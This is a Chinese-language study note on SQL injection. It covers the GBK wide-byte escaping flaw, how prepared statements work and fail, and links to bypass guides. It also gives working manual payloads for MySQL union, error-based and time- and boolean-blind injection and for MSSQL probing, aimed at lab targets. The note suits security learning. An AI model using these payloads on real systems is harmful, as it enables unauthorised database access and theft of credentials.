Web安全学习笔记 SQL注入下
繁枝插云欣 ——ICML8
一般程序员用gbk编码做开发的时候,会用 set names 'gbk'
来设定,这句话等同于
setcharacter_set_connection = 'gbk',character_set_result = 'gbk',character_set_client = 'gbk';
漏洞发生的原因是执行了
set character_set_client = 'gbk';
之后,mysql就会认为客户端传过来的数据是gbk编码的
从而使用gbk去解码
而mysql_real_escape是在解码前执行的
但是直接用set names 'gbk'
的话
real_escape是不知道设置的数据的编码的
就会加 %5c
此时server拿到数据解码
就认为提交的字符+%5c是gbk的一个字符
这样就产生漏洞了
解决的办法有三种:
第一种是把client的charset设置为binary就不会做一次解码的操作第二种是是 mysql_set_charset('gbk')这里就会把编码的信息保存在和数据库的连接里面就不会出现这个问题了第三种就是用pdo
还有一些其他的编码技巧比如latin会弃掉无效的unicode那么admin%32在代码里面不等于admin在数据库比较会等于admin
此SQL注入备忘单包含有用语法的示例
可用于执行执行SQL注入攻击时经常出现的各种任务
此处省略较多内容,后期补充一个
https://blog.csdn.net/weixin_43047908/article/details/115556798
SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
3.1. 预编译使用错误
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
3.2. 部分参数不可预编译
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
3.3. 预编译实现错误
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
sqlmap time based inject 分析
https://www.freebuf.com/column/168112.html
SQLInjectionWiki
http://sqlwiki.radare.cn/#/
常见数据库写入Webshell汇总
https://mp.weixin.qq.com/s/BucCNyCmyATdRENZp0AF2A
MSSQL数据库攻击实战指北
https://mp.weixin.qq.com/s/uENvpPan7aVd7MbSoAT9Dg
SQL注入ByPass的一些小技巧
https://mp.weixin.qq.com/s/fSBZPkO0-HNYfLgmYWJKCg
Waf Bypass之道
https://xz.aliyun.com/t/368
MySQL Bypass Wiki
https://blog.csdn.net/weixin_44825990/article/details/122009176
NoSQL注入的分析和缓解
https://blog.51cto.com/u_15127672/2804916
NoSQL注入
https://mp.weixin.qq.com/s/tG874LNTIdiN7MPtO-hovA
SQL注入漏洞
手注心得
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/
查询用
http://sqlwiki.radare.cn/
mysql数字型手注
字符型和数字的注入基本一样
(下面直接演示数字型)
只是字符的需要闭合前面的一条sql
常见的闭合就是
'"')'')
有时还需要注释后面的一些sql 可以使用
--+# 在url里面需要编码为 %23
判断字段?id=1 and 1=1 order by 1回显点判断?id=1 and 1=2 union select 1,2当前库?id=1 and 1=2 union select 1,database()当前用户?id=1 and 1=2 union select 1,user()当前版本?id=1 and 1=2 union select 1,version()爆表?id=1 and 1=2 union select 1,table_name from information_schema.tables wheretable_schema=database() limit 0,1当前表字段名用limit进行查询?id=1 and 1=2 union select 1,column_name from information_schema.columns wheretable_schema=database() and table_name='admin' limit 0,1获取数据?id=1 and 1=2 union select 1,password from admin limit 0,1
mysql报错注入
在不能联合注入的时候就需要用到它
有十种报错函数https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
爆库:http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +爆表:http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security'limit 3,1),1) -- +爆字段:http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273limit 2,1),1) -- +爆数据:http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
mysql盲注
时间盲注
布尔盲注
可以用二分,dnslog,等等可以加快注入
工具
https://github.com/ADOOO/DnslogSqlinj
时间盲注也叫延时注入
一般用到函数 sleep()
BENCHMARK()
一般时间盲注我们还需要使用条件判断函数 if(expre1,expre2,expre3)
当expre1为true时,返回expre2,false时,返回expre3 盲注的同时
也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等
select * from users where id =1 and if((substr((selectuser()),1,1)='r'),sleep(5),1);
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有
ascii()
hex()
等等 benchmark()
其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
select * from users where id =1 and if((substr((selectuser()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);
盲注思路的思路很多 比如正则匹配,比较函数,运算符, 推荐大家可以看看
https://www.anquanke.com/
简单来说就是通过函数看返回true还是false
1.直接通过字符串截取对比,类似函数很多后面做个总结吧
http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +
2.用 IFNULL() 函数
http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((selectuser()),1,1)='r'),0) -- +
3.使用 比较函数 strcmp()
1.http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((selectuser()),1,1)='r'),1) -- +http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((selectuser()),1,1)='r'),0) -- +2.mysql> select * from users where id =1 and 0=strcmp((substr((selectuser()),1,1)),'o');Empty set (0.00 sec)mysql> select * from users where id =1 and 0=strcmp((substr((selectuser()),2,1)),'o');+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | Dumb | Dumb |+----+----------+----------+1 row in set (0.00 sec)
mssql手注
参考
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
查询基本信息
and @@version>~1and (user|1)>-1and (db_name()|1)>.1
判断当前表名和列名
也可以使用 having 1=1 和 group by
http://192.168.130.137/1.aspx?id=1 having 1=1
爆出当前表和字段
http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1
爆出所有的字段
手机扫一扫
移动阅读更方便
你可能感兴趣的文章